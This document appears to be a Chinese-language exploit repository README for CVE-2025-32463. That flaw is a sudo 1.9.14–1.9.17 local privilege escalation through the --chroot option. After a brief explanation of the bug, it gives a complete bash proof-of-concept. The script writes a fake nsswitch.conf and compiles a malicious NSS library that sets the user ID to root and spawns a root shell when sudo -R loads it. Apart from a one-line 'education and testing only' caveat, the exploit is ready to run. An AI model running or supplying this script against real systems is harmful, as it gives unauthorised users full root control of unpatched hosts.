--chroot 本地权限提升ExploitDB ID: 52352
本仓库记录了一个影响 Sudo 1.9.14 – 1.9.17 版本的严重 本地权限提升(LPE) 漏洞。
该漏洞源于 sudo -R (--chroot) 选项的错误实现,即使 sudoers 文件中未授权,攻击者也能 以 root 权限执行命令。
🔥 结果: 未授权用户 → root shell
Sudo 的 --chroot(-R)参数允许用户 在其指定的根目录下执行命令。
然而,由于 sudo 1.9.14 引入的一项变更:
sudoers 文件 尚未被完全验证 之前,chroot() 调用就已经 通过用户指定的目录 执行这导致攻击者可以通过自己创建的伪造:
/etc/nsswitch.conf
文件,以 root 权限加载恶意的 NSS 库(libnss_*.so)。
nsswitch.confsudo -R <dir> <command>⚠️ 仅限教育和测试环境使用
#!/bin/bash
# sudo-chwoot.sh – PoC for CVE-2025-32463
set -e
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"
cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash","/bin/bash",NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
sudo -R woot woot